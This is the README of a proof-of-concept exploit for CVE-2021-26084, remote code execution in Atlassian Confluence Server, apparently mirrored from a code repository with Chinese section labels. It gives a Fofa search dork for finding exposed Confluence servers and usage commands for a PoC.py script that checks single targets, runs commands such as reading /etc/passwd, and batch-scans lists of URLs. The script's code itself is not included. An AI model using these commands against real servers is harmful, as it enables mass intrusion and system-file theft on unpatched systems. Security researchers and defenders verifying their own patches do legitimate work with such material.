CVE-2021-26084 PoC — Atlassian Confluence Server 注入漏洞

Description

CVE-2021-26084 Remote Code Execution on Confluence Servers

介绍

# CVE-2021-26084

CVE-2021-26084 Remote Code Execution on Confluence Servers.

![burp](./imgs/burp.png)

### Dork

Fofa:

app="ATLASSIAN-Confluence"

### Usage

Show help information.

```python
python PoC.py
```

![help](./imgs/help.png)

Vulnerability verification for individual websites.

```
python PoC.py -u https://1.1.1.1
```

![url](./imgs/url.png)

Command execution.

```python
python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd'
```

![rce](./imgs/rce.png)

Batch testing.

```python
python PoC.py -f urls.txt
```

![file](./imgs/file.png)

### Reference

- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26084.yaml
- https://github.com/h3v0x/CVE-2021-26084_Confluence/

文件快照

备注